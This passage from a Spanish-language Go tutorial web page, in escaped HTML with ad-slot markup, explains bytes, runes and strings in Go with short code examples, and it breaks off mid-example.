34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;bytes-en-go&#34;&gt;Bytes en go&lt;/h2&gt;&#xA;&lt;p&gt;Un byte en go es sinónimo de un &lt;em&gt;uint8&lt;/em&gt;, un unsigned int8. En otras palabras, 8 bits que podemos asignar de manera directa a diferentes notaciones. El hecho de que sea un tipo de dato &lt;em&gt;uint8&lt;/em&gt; nos permite usar cualquier número entre 0 y 255.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// decimal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch1 &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;0b1000001&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// Binaria&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch2 &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;o101      &lt;span style=&#34;color:#78787e&#34;&gt;// Octadecimal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch3 &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;0X41&lt;/span&gt;       &lt;span style=&#34;color:#78787e&#34;&gt;// hexadecimal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Así como podemos guardar un número, también podemos guardar la representación numérica de un carácter, envolviéndolo en comillas sencillas.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Es como decirle a go: &amp;ldquo;Guarda el valor número al que corresponde este caracter&amp;rdquo;. Al imprimirlo nos devolverá el número, en notación decimal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(ch)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 65&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si realizamos un tipo de conversión a string, usando el convertidor a tipo string, obtendremos la letra &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;string&lt;/span&gt;(ch))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// &amp;#39;A&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ByteEnGo.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ByteEnGo.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de un byte en go&#34; width=&#34;875&#34; height=&#34;320&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Representación de la letra &amp;lsquo;A&amp;rsquo; en notación decimal. El cuadrado representa un byte u 8 bits.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;array-de-bytes&#34;&gt;Array de bytes&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Así como tenemos el tipo de dato byte, también podemos crear un array de bytes y de múltiples maneras. Observa como el array queda guardado con el número que corresponde a cada carácter.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Instanciado directamente de un string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ABCDE&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Como si fuera un array de caracteres&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;B&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;C&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;D&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;E&amp;#39;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// como si fuera un array de números ord()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t3 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;66&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;67&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;68&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;69&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Con la función copy&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; t4 = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;([]&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;copy&lt;/span&gt;(t4, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ABCDE&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// En todos los casos obtenemos:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//[65 66 67 68 69]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;convirtiendo-un-array-de-bytes-en-un-string&#34;&gt;Convirtiendo un array de bytes en un string&lt;/h3&gt;&#xA;&lt;p&gt;¿Te acuerdas que te dije que cada número representa un carácter? Pues podemos transformar una secuencia de bytes en un string. Para eso usamos la función string, y le pasamos nuestro array de bytes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t3 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;66&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;67&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;68&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;69&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;string&lt;/span&gt;(t1))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ABCDE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;runes-en-go&#34;&gt;Runes en go&lt;/h2&gt;&#xA;&lt;p&gt;Las runes o runas son un alias para el tipo &lt;em&gt;int32&lt;/em&gt;. Es el tipo de variable por defecto cuando defines un carácter, &lt;strong&gt;utilizamos comillas sencillas para declararlo&lt;/strong&gt;. Si no especificas byte u otro tipo de dato, go dará por sentado que se trata de una rune.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; runa &lt;span style=&#34;color:#9aedfe&#34;&gt;rune&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type:%T, value:%v\n&amp;#34;&lt;/span&gt;, runa, runa)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// type:int32, value:65&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sin embargo, &lt;strong&gt;probablemente usarás las runas la mayor parte del tiempo para guardar caracteres&lt;/strong&gt;, no números.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; runa &lt;span style=&#34;color:#9aedfe&#34;&gt;rune&lt;/span&gt; = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;人&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type:%T, value:%v\n&amp;#34;&lt;/span&gt;, runa, runa)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// type:int32, value:20154&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aprecia como el tipo sigue siendo el mismo, pero su valor ahora es 20154, pues al ser un int32 tenemos acceso hasta 2³¹-1 (recuerda que un bit se usa para el signo positivo o negativo).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/RuneEnGo-2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/RuneEnGo-2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de una runa en memoria&#34; width=&#34;875&#34; height=&#34;320&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Representación del caracter &amp;lsquo;人&amp;rsquo; en notación decimal. El cuadrado representa un 32 bits.&lt;/p&gt;&#xA;&lt;h3 id=&#34;array-de-runes&#34;&gt;Array de runes&lt;/h3&gt;&#xA;&lt;p&gt;De la misma manera que creamos un &lt;strong&gt;array de bytes modificable&lt;/strong&gt;, podemos crear un array de runes, el cual es, para fines prácticos, un array de &lt;em&gt;int32&lt;/em&gt;, que podemos representar por medio de caracteres.&lt;/p&gt;&#xA;&lt;p&gt;rune, con paréntesis, es una conversión de tipo, de string a rune. Observa como al final tenemos un array de &lt;em&gt;int32&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arrayRunas &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;rune&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Jello, &amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arrayRunas[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;H&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arrayRunas = &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(arrayRunas, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;世&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;!&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(arrayRunas)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [72 101 108 108 111 44 32 19990 33]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Igual que hicimos anteriormente, podemos transformar esos números en un string usando la función string.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;string&lt;/span&gt;(arrayRunas))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Hello, 世!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;strings-en-go&#34;&gt;Strings en go&lt;/h2&gt;&#xA;&lt;p&gt;Un string es un &lt;strong&gt;slice de bytes de solo lectura, no modificable,&lt;/strong&gt; se declara usando comillas dobles.&lt;br&gt;&#xA;&lt;strong&gt;Cada índice del slice de un array se refiere a un byte&lt;/strong&gt;. Señalar esto es importante, porque si iteramos sobre un string, vamos a obtener una cantidad diferente de bytes a los caracteres que forman nuestro string.&lt;/p&gt;&#xA;&lt;p&gt;¿Cómo? A primera vista podríamos pensar que nuestro string tiene una longitud de 9 (y que por ende tendrá 9 bytes), que es la cantidad de runas o caracteres que tiene. Sin embargo, si medimos la longitud de nuestro string con la función &lt;em&gt;len&lt;/em&gt;, obtendremos la cantidad 23, que se refiere a la cantidad de bytes que ocupa.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ID彼氏彼女の事情&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(s))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/runesEnGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/runesEnGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferencia de tamaño en los caracteres de un string en go&#34; width=&#34;1000&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Al momento de iterar sobre nuestro string, estaremos iterando byte por byte, por lo que imprimiremos 23 bytes, cada byte expresado en notación octadecimal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ID彼氏彼女の事情&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(s); i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%x &amp;#34;&lt;/span&gt;, s[i])   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 49 44 e5 bd bc e6 b0 8f e5 bd bc e5 a5 b3 e3 81 ae e4 ba 8b e6 83 85&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Pero que pasa si queremos obtener cada runa o carácter en lugar de los bytes? range nos permite eso, se encarga de iterar runa por runa, decodificando el carácter correspondiente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; index, runeValue &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; s {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%#U empieza en el byte de posición %d\n&amp;#34;&lt;/span&gt;, runeValue, index)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+0049 &amp;#39;I&amp;#39; starts at byte position 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+0044 &amp;#39;D&amp;#39; starts at byte position 1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+5F7C &amp;#39;彼&amp;#39; starts at byte position 2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+6C0F &amp;#39;氏&amp;#39; starts at byte position 5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+5F7C &amp;#39;彼&amp;#39; starts at byte position 8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+5973 &amp;#39;女&amp;#39; starts at byte position 11&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 